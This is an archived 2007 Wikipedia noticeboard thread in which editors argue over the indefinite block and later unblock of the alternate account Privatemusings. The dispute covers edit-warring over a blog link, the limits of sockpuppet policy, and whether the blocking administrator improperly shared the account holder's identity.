No, it's not secret, it's just private, and it will stay that way. I have no prior dispute with this user of which I'm aware, it's nothing to do with his opinion on a particular issue and everything to do with controversial actions (rather than opinions), which places the actions of this account outside of what is permissible. If this user had not admitted to being a sock, we'd have blocked it as a disruptive [{WP:SPA]] a long time ago. I know the main account's identity because PM told me by email. That does not suggest that PM considers we had a prior problem. What happened here is that a self-confessed alternate account registered for the purpose of contributing to a contentious policy debate, stepped outside of that carefully defined arena and began edit-warring over links to a blog repeating part of the same harassment as was addressed in the Attack Sites arbitration. The way to handle such matters is to contact the blog owner and point out that there is no evidence to support the assertion, not to edit-war over links to a damaging, hurtful and false accusation. I have shared the details of PM's main account with only a handful of individuals, mainly arbitrators and Jimbo. I will not be posting the name of the main account here or anywhere else.

There is no dispute for me to gain an upper hand in. This is 100% about the limits placed on use of alternate accounts, and stepping outside those limits to link to an ongoing and unacceptable campaign of harassment perpetuated by a number of justly banned users.

Nothing in the main accounts edits actually mitigates that. You have once before found that your speculations were inaccurate, and you gracefully apologised. Your speculations are again inaccurate. Guy (Help!) 13:03, 1 November 2007 (UTC)

Please consider engaging here I sincerely wish you would spend as much effort talking to me as you have about me. I remain upset, and uncomprehending as to the support you think your rationale has in policy. Privatemusings 13:20, 1 November 2007 (UTC)

Guy, IF what you say about this being about "the limits placed on use of alternate accounts" is so then why would the proper course of action NOT be to tell Privatemusings that he was exceeding those limits, get consensus agreement that this was the case, and then place a short block followed by successively longer ones if he violated those limits? Why was the proper course of action to yourself unilaterally decide that he had 'exceeded the limits' and immediately place an indefinite block. No warning. No public discussion. No possibility of the user agreeing not to exceed these limits. He must be blocked immediately and have no possibility even of discussing the matter. That's the right way to go about things? Then, after he has AGREED to not continue the action you were objecting to he STILL has to remain blocked? This is about users not exceeding the limits of alternate accounts, but he has to be blocked even after he has agreed to do so pending discussion of the limits? Seriously, in what way is this NOT a punitive block? --CBD 13:42, 1 November 2007 (UTC)

Talkpage unprotected

The reasoning behind Jeffrey Gustafson being "forced" to protect PM's talkpage isn't self-evident to me. JG, have you thought through the coercive choice that you're actually forcing on the user by that protection? PM does have another account to use, yes, but he obviously can't use his main account to discuss this issue without outing that main account. It's precisely the requests to out his main account that he wants to discuss, and we have now created a situation where such discussion by him would become pointless the moment it began. Not good. Supposing he has pertinent things to say? (Full disclosure: I know who he is, and he's not a troll by any definiton of the term.) As for his "going on and on", what about it? It's not necessary for people who don't want to read his arguments to go to his talkpage in order to be offended. Full protection of the talkpage of a banned account is a very serious business, since it's a complete gag. It shouldn't be undertaken unless we're really forced to. I've unprotected the page. Bishonen | talk 10:55, 1 November 2007 (UTC).

I don't see why the talk page had to be protected. And you've halved the possible people PM could be by saying it's a "he"! Neil ☎ 11:17, 1 November 2007 (UTC)

Uh, that only works if half of Wikipedia users were female, which they're not. Assuming malenesss is still a very logical action here. Natalie 13:39, 1 November 2007 (UTC)

My take

So, the Robert Black (professor) article had a link to his blog on it for a long time and all was well with the world. The page hadn't even been edited in over a month. Then on 10/26 the Professor made a blog post referring to allegations made on another site about one of our users here. The next day User:Privacyisall, to all appearances a sockpuppet created for the sole purpose of edit warring on this issue, removes the blog link from the article because it has now magically become an 'attack site'. Great contention erupts and suddenly there are all sorts of reasons why this blog link, which was perfectly acceptable and not at all controversial before, is now completely anathema to Wikipedia policies (all of them). Others disagree, edit warring ensues, Privatemusings restores the link a few times, he is indefinitely blocked.

That's the background. So far as I can see, no one warned Privatemusings that edit warring on this issue could lead to an indefinite block. Nor does anything in policy say that sockpuppets who engage in edit warring are immediately blocked for all time. Nor was the 'Privacyisall' account blocked for doing precisely the same thing in precisely the same edit war without any of Privatemusings' prior history of good contributions. The admin making the block (along with several of those supporting it) has a clear 'side' and emotional investment in the issue... and finally, Privatemusings has already stated that he would stay away from the page, thus removing any 'preventative' nature to this block.

I'm going to unblock. IF there is a consensus, rather than a thin excuse for suppression newly invented by a handful of people, that sockpuppets editing on contentious issues are not allowed to edit war at all then we can certainly see whether Privatemusings' is willing to abide by that and block him if he is not. However, there needs to actually BE such a consensus... and it'd be good to TELL the person about it... rather than blocking first and making up a reason afterwords. Only blocking the side that disagrees with you is, along with the lack of consensus or warning, also a fairly poor indicator for this having been a fully dispassionate and impartial action. --CBD 11:47, 1 November 2007 (UTC)

CBDunkerson...did you discuss the matter with the blocking administrator? As it states in policy: Administrators should not unblock users blocked by other administrators without first attempting to contact the blocking administrator and discuss the matter with them. It may not necessarily be obvious what the problem necessitating blocking was, and it is a matter of courtesy and common sense to consult the blocking administrator.--MONGO 12:23, 1 November 2007 (UTC)

I support the unblocked, on the caveat that he doesnt use that account to eidt war. The editing was in the same vein as what the account was previously being used for (Attack sites) so still a legitimate use for that purpose, ie keep contentious issues away from the main account. Apart from one spate of edit warring, he has been very productive with that account and has been intelligently conducting himself on the policy pages. He wasn't given a chance to stop the misuse, its quite clear he isnt using the other account to hide from the rules, so I support the unblock. Viridae^Talk 11:56, 1 November 2007 (UTC)

The consensus above seems to have been a block was reasonable, and an unblock would be against consensus. If we're going to unblock, I would say that if the Privatemusings account returns to its original purpose - that of working with contentious policy and suchlike - then fine. If it reverts back to edit warring, someone can always reblock. Neil ☎ 11:59, 1 November 2007 (UTC)

From my experiences with him, I don't think he will return to warring. Viridae^Talk 12:02, 1 November 2007 (UTC)

Not that that is the point. Nothing at WP:SOCK enjoins editors to not make contentious edits in the areas in which they have chosen to set up alternate accounts. JzG's stated rationale above "Meta debate would have been OK, but not the content edits and link advocacy in respect of content. That crosses the line into good hand / bad hand" carefully does not respond to my specific question as to whether PM used his main account to abusively manipulate consensus or disrupt WP, which is what we are concerned about. Relata refero 12:07, 1 November 2007 (UTC)

PM's main account was also active in this contentious area. Guy (Help!) 12:50, 1 November 2007 (UTC)

That is not true, and a dirty trick because of course I can't defend that point. Low. Privatemusings 13:43, 1 November 2007 (UTC)

CBD, this is an unacceptable reversion of a solid, consensus supported, block. Did you discuss this matter with the blocking administrator, Guy, first, per our blocking policy? Why have you unblocked against consensus? Privatemusings is a clear goodhand/badhand account (and the "goodhand" side isn't actually all that "good" if you ask me, I know who it is but won't reveal it publicly at this time) and needs to stay blocked. Please stop this troll enabling behaviour, CBD. ++Lar: t/c 12:50, 1 November 2007 (UTC)

JzG did not make the case that Privatemusings was a "troll". He did not make the case that Privatemusings was abusing multiple accounts. Indeed, even when repeatedly asked whether Privatemusings was using more than one account in this matter no one said that he had been. None of that was given as any part of the reason for blocking. The block was placed for edit warring on this issue. The edit war was over. The user had agreed not to continue it. It is frequent practice to remove blocks in such circumstance. It is frequent practice to remove blocks placed by admins involved in dispute with the target. It is frequent practice to remove blocks of excessive duration - such as indefinite for a 3RR violation. Et cetera. If a case can be made for Privatemusings abusing multiple accounts and being a troll, as has been claimed subsequent to my unblock, then that case should be made. However, those aren't the things he was blocked for and the extensive discussion above included repeated requests for clarification if there WERE any such situation. There was plenty of discussion. People asked for a VALID reason to this block. None was given. An indefinite block, without discussion, without warning, for 3RR violation is NOT valid and thus I reversed it. If you have cause for the accusations which you and others have subsequently made against Privatemusings, that he is a troll and sock-abuser, you might want to make THAT case. --CBD 13:28, 1 November 2007 (UTC)

You need to state "I'm thinking of unblocking, because of X Y and Zed" and then see what is said, instead of unilaterally unblocking in defiance of policy, which says seek consensus before the unblock, which you do not have. You seem to do this regularly and you need to stop, in my view. As for the rest, this user is an acknowledged sock, but it is a sock of a user who is making unhelpful edits in the same contentious area that this essentially SPA account is. The user should use their main account instead of obfuscating matters, because they are using this sock in a way unsupported by sock policy. Didn't we just go through this "seek consensus first" with Zscout? ++Lar: t/c 13:41, 1 November 2007 (UTC)

It is not at all true that my other account is active in the same area - that's hurtful, insulting, and a lie. Privatemusings 13:46, 1 November 2007 (UTC)

CBD: PS.. it is not acceptable in my view for this editor to operate what would appear to be good hand / bad hand accounts in content disputes. That's from the original notice, the very first post to this thread. So your allegation that JzG claimed this was only a revert related block appears to be unfounded, that he did not make the case for multiple account abouse. You need to act a bit less in a way that gives the appearance of rashness going forward, I think. If you had posted "I have qualms and am thinking of unblocking" I am sure several people would have made that point for you. I've seen the edits and I am satisfied this is an abusive account. It's borderline by current lax standards but those standards are changing, for the better.

PM: Incorrect. I so assert. Anyone who knows the identity of both accounts can verify it. ++Lar: t/c 13:49, 1 November 2007 (UTC)

I shall email CBD, if I may, and should he have the time to take a look, I would welcome his views. Privatemusings 13:52, 1 November 2007 (UTC)

CBD has used sysop tools in a controversial way with respect to this case, so he has strong incentives to justify his own actions. I don't think he can be impartial. Can you perhaps ask somebody who is uninvolved for an opinion? I think that would work better for you. - Jehochman ^Talk 13:57, 1 November 2007 (UTC)

I'd be happy to - it would be particularly good to find a highly respected admin who's around at the moment - could someone put their hand up? Sincere thanks, Privatemusings 13:59, 1 November 2007 (UTC)

Lar, 'good hand / bad hand' does not equate to 'using multiple accounts in a discussion'. The fact that people repeatedly asked whether Privatemusings was using multiple accounts in the discussion clearly shows that this was NOT established in the 'original notice' as you are claiming. The only apparent 'bad hand' action stated by JzG was the edit warring on the link. He has subsequently re-affirmed that it was this posting of the link which 'exceeded the limits allowed' for sock accounts. So no, I cannot agree with your revisionist casting of the discussion. If Guy had been making the case of multiple accounts being used in this debate from the beginning he would not have been repeatedly asked whether there was any evidence of such. He also presumably would have responded to those requests with verification of the multi-account involvement... which he didn't.

As you now claim that there IS such abuse... I'm curious why you have not blocked both accounts? I overturned an indefinite block for 3RR violation. I stand by that action. I took it because repeated requests for any valid support for the block were not met... all that was claimed was 3RR violation with a link to a disputed site. Clearly insufficient for indef block without warning. You have now made accusations of much more serious violations. If you stand by these then block for them. I don't have evidence one way or the other and thus would direct the matter to people with the access to look into it. --CBD 14:04, 1 November 2007 (UTC)

What matters is not how many times you asked a question, what matters is whether the question had already been answered, and whether there was consensus for an overturn prior to your acting, and whether you consulted with the original admin. I decline to overturn your overturn. I think I am much less likely to undo administrative actions taken by other administrators than you are, so I personally decline to overturn your unblock at this time. That should not be construed as support for your action in contravention of our custom, practice, and policy, nor should it be construed as not standing by the fact that we have apparent "bad hand" and "worse hand" accounts active in this overall matter. The primary account, which HAS participated in discussions about specific outing users and the policy ramifications of it, is not, at this time blocked, to the best of my knowledge, so can participate if it wishes to. ++Lar: t/c 20:48, 1 November 2007 (UTC)

And even 3rr wasn't violated. The four reverts took place over three different days, and they just reverted vandalism by a banned user. --Alecmconroy 14:49, 1 November 2007 (UTC)

3RR is a bright line, not an entitlement. ++Lar: t/c 20:48, 1 November 2007 (UTC)

The Horse's Mouth

I wholly reject any notion that any edit warring I participated in was block worthy. Hey, I also reject the notion that I edit warred at all (see my talk page). I sincerely appreciate being unblocked - this has been a horrible experience. I shan't edit at all on the Prof Black article, but stick to the talk page, and will try and avoid Guy, who seems to be firmly of the same opinion. As a consistent advocate of less drama, I'd like to ask all folks to move along, so the bot can do his work in 24hrs, and this can be behind us. Privatemusings 12:02, 1 November 2007 (UTC)

• You weren't blocked for edit warring. You were blocked for stepping outside the bounds of what is acceptable for an alternate account. At least one arbitrator said this was unacceptable behaviour even before knowing the identity of the main account. This block was based on a review of the contributions of both your main and your alternate accounts. I am escalating this. Guy (Help!) 12:14, 1 November 2007 (UTC)
  • Guy-- why are you escalating? You've had your fun-- PM got blocked, and then his talk page blocked, and everyone got all upset, and we've had all this drama, and now finally we've accomplished what a simple discussion could have accomplished to begin with-- PM agrees not to edit the Prof Black article. And there is a strong consensus at the Prof Black article that the link is okay, so PM doesn't even have any reason to come back there anyway. Can't you just let it go now? --Alecmconroy

• Fun? Fun? What the bloody hell do you mean by that? You think I blocked Privatemusings for fun? That is an absolutely outrageous suggestion and you should retract it immediately. In case you hadn't realised by now, there is a serious ongoing problem with offsite harassment and abuse of multiple accounts, and editign by proxy, to promote that harassment. I reject in the strongest possible terms any suggestion that this is anything other than deadly serious. Guy (Help!) 12:48, 1 November 2007 (UTC)

• For that I will sincerely apologize. I'm an American, and it seems to be our national vice to assume everyone is familiar with American English idioms. To "have fun" or "to have fun and games" does not literally mean you actually had "fun". I apologize you thought I meant otherwise. --Alecmconroy 13:00, 1 November 2007 (UTC)

• I am going to disengage - essentially out of blind fury (see above). This can certainly wait a few hours before being discussed further. Privatemusings 12:20, 1 November 2007 (UTC)

PM, if there's nothing wrong with what you've been doing then why are you using a secondary account? You said you wanted to "protect myself from any anger or hot feeling".[11] You expected a passionate reaction to your editing and you got it. Why act shocked? The fireworks and hot feelings are are over now. Let's move on. ·:· Will Beback ·:· 12:55, 1 November 2007 (UTC)

the attack sites lot is a very contentious subject, which gets a lot of feeling going - I can understand wanting to use an alternitive account. Viridae^Talk 12:57, 1 November 2007 (UTC)

Yes, so can I. But that does not give carte blanche to then use that alternate account to edit-war over links to Brandt and Bagley's pet assertion about a Wikipedia user and administrator. It was that extension form advocacy of a controversial opinion to performance of controversial actions in respect of content, that was and is the problem. Guy (Help!) 13:17, 1 November 2007 (UTC)

I'm confused--- In your eyes, was PM blocked for sockpuppet abuse, for edit-warring, or for being part of a campaign of harassment? If he had made the Prof Black edits with his main account, would you have indef blocked him still, or would that have not merited an indef block? --Alecmconroy 13:27, 1 November 2007 (UTC)

I deal with five contentious issues every day. Do I use a fresh account for each? No, not hardly. The editor has not been banned. One of his secondary acounts has been blocked. It isn't a big deal. ·:· Will Beback ·:· 13:50, 1 November 2007 (UTC)

The big deal is the implication for everybody else. Relata refero 16:10, 1 November 2007 (UTC)

Outing?

There's been a serious allegation made upwards in the thread, and I just want to get to the bottom of it, and instead of making allusions which might not be true, just address it up front with straight talk.

JzG, PM claims here that he confided in you, by email, and revealed his real name and other accounts to you. According to PM, he trusted you as an administrator of Wikipedia not to reveal his identity to others. This is a serious trust, and as an admin of the project, it's important people be able to trust you to keep their confidences.

Now, there are two cases where I feel you would be justified in breaking that confidence.

1. According to the text of the email he's posted claims here, PM told you he trusted Admin X and Admin Y, and you could tell them if you wanted.
2. If you have a legitimate concern that PM has a conflict of interest, it might be appropriate to reveal his identity to the board or the arbitration committee.

Now, your posts on this thread suggest that you've had widespread conversations about PM's identity with a number of people, so I'm just gonna ask you point blank:

Aside from the groups listed above, have you revealed PM's identity to anyone at all?

I sincerely hope the answer is no and we can drop that part of things. --Alecmconroy 13:19, 1 November 2007 (UTC)

I really think PM and the community deserve an answer to this question.--Alecmconroy 14:59, 1 November 2007 (UTC)

discussion of outing question

For the record, I independently determined this user's other account via CU, since this account was acting abusively. JzG did not need to reveal it to me. The primary account is editing in the same pages so really, as JzG said in the initial posting it is not acceptable in my view for this editor to operate what would appear to be good hand / bad hand accounts in content disputes. ++Lar: t/c 13:43, 1 November 2007 (UTC)

NOTE: "pages" does not mean the particular page in question that was being revert warred over, it means in the same general area, in particular the outing of editors and the drama surrounding efforts to deal with that unacceptable behaviour. ++Lar: t/c 19:03, 1 November 2007 (UTC)

Also for the record, discussing the abusive behavior pattern of multiple accounts used by the same editor on Wikipedia, as was done in this case, is not 'outing'. Outing would be when we engage in exposing the real life identity of someone who prefers to remain anonymous. Crum375 13:49, 1 November 2007 (UTC)

Well, if you prefer to call it "Deep and extreme violation of personal trust" instead of "outing", whichever. The point is, if I say to you "You're an admin of an important project, I want to confide in you", and you prove yourself to be unworthy of that trust, it's something that shouldn't happen. If a priest violates your trust, he shouldn't be a priest. If a psychologist breaks confidence, he shouldn't be a psychologist. Whether it's an "outing" or a "gossipping" or a "violation"-- it's definitely wrong.

Mind you, I don't know that it did happen yet, but I thought I owed it to JzG to ask him straight out, rather than letting PM just make the allegations and letting them float. --Alecmconroy 14:06, 1 November 2007 (UTC)

Yes, there really is no point in complaining about "outing" PM to ArbCom when most of ArbCom are checkusers and the rest will be privvy to the ArbCom mailing list where such things are discussed. Thatcher131 13:51, 1 November 2007 (UTC)

I'm not worried about "outing" to arbcom. I encourage consultation with Arbcom. If he had a real concern, the responsible thing for Guy to do would be to ask the arbcom to rule whether or not to block PM. What I am WORRIED about, however, is the allegation that Guy basically told any other editors/admins that he felt like telling-- i.e. that Guy is inherently untrustworthy with private information. Again, I'm not saying this is true, that's why I'm asking straight out. --Alecmconroy 14:10, 1 November 2007 (UTC)

I would consider it highly unethical and a most serious breach of trust if Guy had shared this information with anyone who didn't already have it. I trusted Guy, in a bid to facilitate a dialog which he manifestly rejected. I might add that I believe checkuser data to only remain active for 30 days. I would like to demand a straight answer to Alec's reasonable question above. Privatemusings 14:05, 1 November 2007 (UTC)

The people who know are: the arbitrators, Jimbo, and a *very* small number of people I trust implicitly (wioth far more sensitive data about myself) whose opinion I sought in a completely private forum as a sanity check rather than simply relying on gut feel. The risk to privacy is negligible, I'd say. And if not, well, then I'm sorry, but a checkuser would have turned up the same and I was actually trying to avoid outing the main account. I would note that the main reason was to eliminate a number of suspicions which people have raised here and elsewhere. I will confirm that the main account is not a prolific or high profile editor, not a sysop, and almost certainly not who you think it is. And that's all that need be said. This account is traceable at two removes to the user's RWI, and I'm certainly not going to go about publishing that kind of information. If you trust me, then you also have to trust my judgement on who I can talk to in confidence. If you don't trust me, don't send me email. Frankly the amount of drama here is out of all proportion to the mainspace contributions of all the accounts this user has used. Or at least those he's told me about. Guy (Help!) 17:15, 1 November 2007 (UTC)

Why would a checkuser have been run in the first place? As I said before, we are only concerned if this editor was gaming consensus or disrupting wikipedia; in which case a checkuser could - and almost certainly would - have been submitted by someone who was not in possession of privileged information. Instead, a block was carried out by an involved admin on someone who was editing in support of what appears to be the consensus version of a difficult page. If the presence of privileged information indicated to you that WP was being disrupted on that page or on related pages, it would be appropriate for you to indicate to the individual who provided you with that information - as privately as you were told in the first place. Instead you have claimed that, in effect, a single editor who chooses to use two accounts to edit in different articles, at different times, and about different specific issues, can be blocked by an admin as long as the editor in question espouses the same principles in both accounts, and the admin disagrees with those principles - even if the principles themselves were not blockworthy. That is not policy as written. I would find it deeply disturbing if it were. That is why all the drama. Relata refero 17:32, 1 November 2007 (UTC)

Because this is an alternate account used for the single purpose of advocating contentious policy, which has stepped outside the bounds of that in order to edit-war over contentious content. I am wondering how many times I need to explain this. Guy (Help!) 18:10, 1 November 2007 (UTC)

Am I to understand alternate accounts cannot add contentious content any more?

Just because it was created in order to advocate certain changes does not mean that it violates policy to make contentious edits in line with those changes, unless those edits themselves violate policy. Relata refero 18:16, 1 November 2007 (UTC)

Well that would depend. If the alternate account is being used to add and advocate contentious content in an area in which the main account previously expressed an interest, as here, then it's pretty clearly an abuse of the alternate account. Rather like people who register a new account, make enough edits to get the "next 50" link to go blue, and then pile into heated debates on the admin noticeboard despite not being an admin and in fact only having had an account for three weeks. We get very suspicious of such behaviour. Wikipedia is not a social network or a drama club, we're here to build an encyclopaedia, and the existence of a pool of troll enablers, egged on by banned users on an external site, is actively impeding the process of building a neutral encyclopaedia. Which is, of course, exactly what they want. The longer the likes of Privatemusings and Dan Tobias can keep the BADSITES drama going, and draw attention away form what those links are really about, the more people get sucked into thinking that linking to external harassment is a point of principle and removal of such links must be resisted, the harder it gets to remove links to banned editors trying to push their POV and mad theories into Wikipedia, and the more time we all waste on sterile debate while they continue to nudge the ocntent their way through sockpuppets, meatpuppets and even the occasional long-time user acting as a proxy. Of course, they have mutually conflicting desires: to use Wikipedia to promote their agenda, but simultaneously to wreck Wikipedia. I'd rather they failed in both aims, myself. The stakes are high for these kooks: they are on a holy crusade to bring [[[WP:TRUTH|The Truth™]] to the world and correct the lies and conspiracies promoted by those pesky reliable sources we are so keen on. Guy (Help!) 18:25, 1 November 2007 (UTC)

"To add and advocate contentious content in an area in which the main account previously expressed an interest." Right, that's what I thought. In other words, account X exists, it makes a statement about a policy debate, realises that this is going to create too much drama, so it creates account Y to further engage with that policy debate, and ceases to use account X (or at least, largely ceases using X in that area). Is this what you imply is blockworthy? If so, I damn well think a bit more drama is required.

("Rather like people who register a new account, make enough edits to get the "next 50" link to go blue, and then pile into heated debates on the admin noticeboard despite not being an admin and in fact only having had an account for three weeks. We get very suspicious of such behaviour." Nice going! About as subtle as a ton of bricks. Don't get distracted, please. I'm not here to waste my time talking to you, but to continue to edit. Indeed, if you stop and think for a moment, it will be stunningly obvious why your actions recklessly imperil even the most innocent successor account. Which is why I am "piling into" this debate. But still, much easier to throw around remarks about suspicions, eh?)

Finally: any attempt to claim that links to harassment websites are the main problem at WP is in itself problematic. The problem is not those links, which as far as I am concerned can stay or go. The problem is the behaviour of the guardians of our freedom to edit, which, as evidenced by you just now, steps over the line into chilling our ability to edit. Relata refero 18:36, 1 November 2007 (UTC)

The main problem at WP right now is not harassment websites. It is simply that there is too much drama, and our response to it is ineffective. That is caused and exacerbated, in my view, by two major factions... those that are here specifically to cause drama rather than being here to write an encyclopedia, and those well meaning but misguided folk that play into their hands by overturning sound blocks, or by defending even the worst trollish behaviour on process grounds, on "give them another chance" grounds and what have you. ++Lar: t/c 19:03, 1 November 2007 (UTC)

Regarding the outing question, if I understand position that Privatemusings has taken in the debates over policies, it would be OK if someone outed a RL or main account identity on a blog and if we linked to that blog in the course of normal encyclopedia writing. If it's OK to link to outing then maybe outing isn't such a big deal. ·:· Will Beback ·:· 20:48, 1 November 2007 (UTC)

In what universe will blocking people you disagree with over policy with the flimsiest of pretexts not increase drama? That universe is one in which WP will be pretty poorly written. Relata refero 04:55, 2 November 2007 (UTC)

The Last Straw

(uindent) Guy says: the existence of a pool of troll enablers, egged on by banned users on an external site, is actively impeding the process of building a neutral encyclopaedia. Which is, of course, exactly what they want. The longer the likes of Privatemusings and Dan Tobias can keep the BADSITES drama going, and draw attention away form what those links are really about, the more people get sucked into thinking that linking to external harassment is a point of principle

Guy, you have just made a personal attack. You have called Private MUsings and Dan Tobias troll-enablers, implied they are affiliated with an external site, and suggested that they are part of a campaign to distract and deceive.

RETRACT your statement and apologize, CLARIFY that you didn't mean to say anything bad about PM or DanT, or PRESENT evidence to me that they really are involved in such a campaign. These sort of bullying tactics have gone on long enough. Either DanT and PM are good faith editors acting on principle and worthy of your respect, or they're bad faith editors just here to pull your leg. If you are going to make these wild allegations in public, I want you to at least email whatever evidence you have to suggest the PM and DanT are acting in bad faith. I'm sure PM and DanT will consent to letting me know whatever it is that you know.

After all that you've done today, that you would start namecalling, it appears you have learned absoultely nothing. If your secret evidence holds up, then I'll apologize, I'll apologize with bells on. If, however, you're full of crap, I think it's time for a user conduct RFC or another arbcom case. NPA applies to EVERYONE-- even you. --Alecmconroy 18:41, 1 November 2007 (UTC)

• Nope. I will not retract it, because it's what I honestly believe. Sincere people are being cynically manipulated by individuals whose principal interest is not aligned in any way with Wikipedia's aims. The fact that they are sincere people does not in any way reduce the impact of what they do. Guy (Help!) 19:24, 1 November 2007 (UTC)

Do you consider Dan and PM to be the sincere people? or the cynical manipulators? --Alecmconroy 19:33, 1 November 2007 (UTC)

User Guy may be perceived as Wikipedian cowboy, but he has never (in my view) exploited WP in any way. He also deserves the benefit of the doubt. On the other hand User Alecmconroy states on his user page: "I don't care how wonderful Jimbo is, no one person deserves special authority over the will of the people" and he ends with "If we were going have an election for Jimbo the position, Jimbo the person would get my vote." Someone with beliefs like these is either a confused individual or have a problem with authority. I think he is both, and since he is not an admin and obviously too close to the subjects being discussed ( see his userpage and his "an essay on Badsites"). I think it would be best to remove or scratch from this discussion all his comments off the record. Jrod2 19:46, 1 November 2007 (UTC)

Jrod, have you READ WP:NPA? Way to go--- i complain about personal attacks, and you personally attack me. Beautiful. --Alecmconroy 20:44, 1 November 2007 (UTC)

You apparently do not understand the comments. His position nor his closeness to the issue have any bearing regarding the content of the statements. Either the content is valid or it is not. Bringing it up does not assume good faith. We are all here to build a better encyclopedia. Spryde 20:16, 1 November 2007 (UTC)

Unfortunately, I fear that is not correct. Not all of us are here for that purpose. And of those that think they are here for that, (I count myself among that grouping) I am not sure that all of us are actually effective at it, so that makes at least three groupings, as I said elsewhere in this thread. If you do not recognise that, then I think that is an issue. ++Lar: t/c 20:38, 1 November 2007 (UTC)

Hey user Spryde, maybe I don't understand user Alecmconroy's comments, but please don't give me the AGF shenanigan. Either you know Guy and respect and appreciate him for what he contributes to WP, or you don't. Jrod2 20:50, 1 November 2007 (UTC)

For the record, I support some of what Guy has done. I object to other things. Overall I say he has done wonderful things but this is not one of them. People aren't perfect nor should we expect them to be. And please do not call AGF shenanigans. I could have attacked your contribution much worse than I did but I AGF'ed and hoped that you did not understand the comments. That is all. Spryde 00:01, 2 November 2007 (UTC)

Hello Spryde, should I thank you for your benign comment too? Please, get off your high horse. First, you stated that I was not assuming good faith and that my comments weren't valid to this argument and now you are being benign because "you could have attacked" me much worse? What kind of a silly game is this?. If, I go by your statement: "People aren't perfect nor should we expect them to be", I would speedy close this case. Jrod2 01:06, 2 November 2007 (UTC)

I am trying to have a civil and productive conversation with you about this incident. I am not playing any games nor am I on any 'high horse'. I stated the comments you made were not appropriate because of the meaning of the statements made by Alecmconroy. I sincerely hope you are not twisting my words to prove a point. My statement about perfection is clear and taking it to extremes is illogical and absurd. Good day (night), sir. Spryde 01:47, 2 November 2007 (UTC)

Please Spryde, I am respectfully asking you to stop disrupting this discussion. I don't want to waste space on this section defending myself and my NPOV to you. Your initial comment was to me insulting and you missed my point entirely. I only thought that the statements on Alec's user page were relevant and consistent with someone who have some strong opinions about authority and the establishment itself and that should be examined. That could have explained why he chooses to have a conflict with Guy and his ways. I also asked that he stops all this. Now, that he wants Guy to apologize is to me a contradiction, there can be an element of thirst for authority if someone is trying to humble admin Guy. But again, you can accuse me of AGF violations, so I am going to refrain from making further comments. I would have stopped long ago had you not accuse me of not assuming good faith. Ultimately, I have come to terms with Alec's position and I wish him good luck. But, he has a long road (in my view) if he wants to prove that admin Guy deserves to lose his admin tools. Jrod2 03:54, 2 November 2007 (UTC)

For the record, it would be awful if Guy were to lose his admin tools. I don't want that-- I want him to stop misusing them and to stop attacking people --Alecmconroy 07:15, 2 November 2007 (UTC)

Guy you are waaay off the mark with your views on dans and PMs attack site linking. They simply reject the idea of instant censorship. And of course the drama is not being kept going by those who are trying to dicuss the policy (when they get a chance to discuss it without being labelled trolls) it is being kept going by people like yourself, who, in seeing this issue in black and white, label them trolls, claim their opinion is worthless because they are of that opinion and run around like a bull in a china shop trying to strip the links from long archived talk pages. Thats what creates drama, because you appear to have no concept of a civildiscussion - instead you blow your top, overreact and bingo, wikidrama ensues. Please try and think about that one. At no point has dan or PM said they advocate harrasment, they simply do not believe in thought crime. Viridae^Talk 21:01, 1 November 2007 (UTC)

Viridae, I think it's rude for you to call Guy a "bull in a china shop." Please don't engage in argumentum ad hominem. - Jehochman ^Talk 21:09, 1 November 2007 (UTC)

It is critiscism of his method, so its a tad hard (ie not possible) to avoid ad hominem comments - when I am crisicising his approach, then I have to make my arguments "to the man". Bull in a china shop is not an insult anyway, it is simply a comment on the unsubtle way he conducts himself, which serves to magnify drama wherever he goes. Viridae^Talk 22:32, 1 November 2007 (UTC)

Alecmconroy, I am sorry if you perceive my remarks as a "personal attack". Guy said something which you are using now to discredit him. Is that a personal attack? If it's not, then me bringing up your views on authority and BADSITES should not be considered one either.In addition, I am not comfortable with the tone of your comments against admin Guy. Have you crossed the line with WP:AGF yourself? I am not here to judge that, but I am not going to sit idle and let a good admin be treated like scam. Is it possible that you maybe biased on this dispute? I am just asking questions and the only thing I thought would be fair to this argument, is that you distance yourself from it. Thank you. Jrod2 21:13, 1 November 2007 (UTC)

No harm done-- and I'm sure everyone is aware that I speak as someone who opposed BADSITES, and therefore, if opposing BADSITES is grounds for blocking, as Guy seems to have indicated, obviously, I might well expect similar treatment as PM has gotten.

However, we have a serious NPA problem going on in this dialog. There is a campaign of harassment and defamation trying to allege that I, PM, DanT, GTBacchus, and others are allied with hate sites. I've tried ignoring these attacks, and they continued. I've tried pleading for it to stop, and they continued. I'd tried mocking them, and they've continued. I've tried using forceful language, and they've continued. So, now, what am I left with?

And Guy's as good a place to start as any. Either stands by his allegations or he does not. If he stands by his allusions, he should prove them, and all us anti-badsites trolls should be banned. On the other hand, if his accusations are groundless and unproven, he has spent all of today dragging the names of good editors through the mud, and I expect the community to take steps to stop him from doing this in the future.

Hopefully, he'll apologize, and promise not to defame editors in the future, and that will be the end of it. --Alecmconroy 22:03, 1 November 2007 (UTC)

(arbitrary break) Allegation of sockpuppet abuse

(stricken, please do no rearrange my remarks, use a diff if you like) ++Lar: t/c 20:26, 1 November 2007 (UTC)

Okay, now that gets my attention. Are you telling me that PM was simultaneously editing Robert Black (professor) under two different accounts? Cause THAT would be a major problem. As I look over the history, I see from the page history and the talk page that, in addition to Privatemusings, the disputed link's inclusion in the article has been endorsed by myself (Alecmconroy), Altacc, Phase4, SchmuckyTheCat, Sfacets, Shojo(luke), and Hyperbole. Now, without naming names-- is Private Musing one of those people? If he is, then that would definitely be a problem. --Alecmconroy 14:00, 1 November 2007 (UTC)

Everyone's busy and who knows how long it's reasonable to wait for a reply-- but as the time questions like these go unanswered, my opinion tends to approach the conclusion that "No, PM hasn't actually simultaneously edited the same page at the same time under two different accounts" --Alecmconroy 15:05, 1 November 2007 (UTC)

I rather think that question has actually been answered. In response to my question whether "PM used his main account to abusively manipulate consensus or disrupt WP, which is what we are concerned about", JzG said the main account was "also active in this contentious area." In other words, not that specific article, but the harassment discussion in general. So, no, the second account did not disrupt wikipedia, but both accounts were simultaneously active in a broad sphere of policy. That is the only thing consistent with everything that's been said. Relata refero 16:08, 1 November 2007 (UTC)

This is crazyness. Privatemusings created this account and then was hounded by various Privatemusings-sounding like accounts (I blocked a few), culminating with User:MOASPN (who did edit that page). Now, edit warring is bad, whether through one's main account or any other. I do not, however, see the same accounts editing anywhere near the same time. I've yet to look into the whole block, I gather it was for edit warring? El_C 17:26, 1 November 2007 (UTC)

